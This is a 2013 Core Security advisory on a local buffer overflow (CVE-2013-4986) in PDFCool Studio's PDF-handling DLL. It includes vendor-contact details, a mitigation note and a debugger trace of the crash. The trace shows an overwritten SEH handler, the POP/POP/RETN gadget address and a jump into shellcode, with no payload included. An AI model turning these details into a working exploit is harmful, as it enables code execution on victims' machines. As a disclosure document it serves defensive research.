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CORE-2013-0828 - PDFCool Studio Buffer Overflow Vulnerability
From: CORE Advisories Team <advisories () coresecurity com>
Date: Tue, 1 Oct 2013 13:33:11 -0300
Core Security - Corelabs Advisory
PDFCool Studio Buffer Overflow Vulnerability
1. *Advisory Information*
Title: PDFCool Studio Buffer Overflow Vulnerability
Advisory ID: CORE-2013-0828
Date published: 2013-10-02
Date of last update: 2013-10-02
Vendors contacted: IconCool Software
Release mode: User release
2. *Vulnerability Information*
Class: Buffer overflow [CWE-119]
Impact: Code execution
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2013-4986
3. *Vulnerability Description*
PDFCool Studio Suite ,  is prone to a security vulnerability when
processing PDF files. This vulnerability could be exploited by a remote
attacker to execute arbitrary code on the target machine by enticing
users to open a specially crafted PDF file (client-side attack).
4. *Vulnerable Packages*
. PDFAX0722_IconCool.dll v7.22.1125.2121.
. Other versions are probably affected too, but they were not checked.
5. *Vendor Information, Solutions and Workarounds*
There was no official answer from vendor after several attempts to
report this vulnerability (see [Sec. 8]). As mitigation action, given
that this is a client-side vulnerability, avoid to open untrusted PDF
files. Contact vendor for further information.
This vulnerability was discovered and researched by Marcos Accossatto
from CORE Exploit Writers Team.
7. *Technical Description / Proof of Concept Code*
Below is shown the result of opening the maliciously crafted PDF file
 on Windows XP SP3 (EN):
$+A50C4 > 8B07 MOV EAX,DWORD PTR DS:[EDI]
$+A50C6 > C740 14 1E000000 MOV DWORD PTR DS:[EAX+14],1E
; <== Exception - Tries to write to 909090A4
$+A50CD > 8B5424 04 MOV EDX,DWORD PTR SS:[ESP+4]
$+A50D1 > 8950 18 MOV DWORD PTR DS:[EAX+18],EDX
$+A50D4 > 8BC7 MOV EAX,EDI
$+A50D6 > 8B10 MOV EDX,DWORD PTR DS:[EAX]
At that time, the 'EAX' register contains the first 'DWORD' of our
EIP 044760C6 PDFAX0~1.044760C6
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFDF000(FFF)
T 0 GS 0000 NULL
O 0 LastErr ERROR_NOT_ENOUGH_MEMORY (00000008)
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty 0.0
ST1 empty 0.0
ST2 empty 0.5000000000000000000
ST3 empty -2.9802320611338473100e-08
ST4 empty 1.0000000000000000000
ST5 empty 4.3980465111040000000e+12
ST6 empty 5.3123247893381160000e+15
ST7 empty 5.0609752291423027300e+17
3 2 1 0 E S P U O Z D I
FST 0020 Cond 0 0 0 0 Err 0 0 1 0 0 0 0 0 (GT)
FCW 137F Prec NEAR,64 Mask 1 1 1 1 1 1
The stack's exception handler is overwritten with:
0012DF70 909006EB Pointer to next SEH record
0012DF74 005D88EF SE handler
In the address '005D88EF' (the main executable module of PDFCool Studio)
005D88EF 5D POP EBP
005D88F0 59 POP ECX
005D88F1 C3 RETN
and the stack:
0012DA2C 7C9032A8 RETURN to ntdll.7C9032A8
So, the 'RETN' of '005D88F1' will jump to '12DF70' (the stack) where our
shellcode is located:
0012DF70 EB 06 JMP SHORT 0012DF78
0012DF72 90 NOP
0012DF73 90 NOP
0012DF74 EF OUT DX,EAX ;
0012DF75 885D 00 MOV BYTE PTR SS:[EBP],BL
0012DF78 90 NOP
which means the normal execution flow can be altered in order to execute
8. *Report Timeline*
Core Security Technologies attempts to contact vendor using the IconCool
official technical support contact page . No reply received.
Publication date is set for Sep 25th, 2013.
Core attempts to contact vendor.
Core attempts to contact vendor.
First release date missed.
Advisory CORE-2013-0828 published.
 IconCool technical support page http://www.iconcool.com/support.htm.
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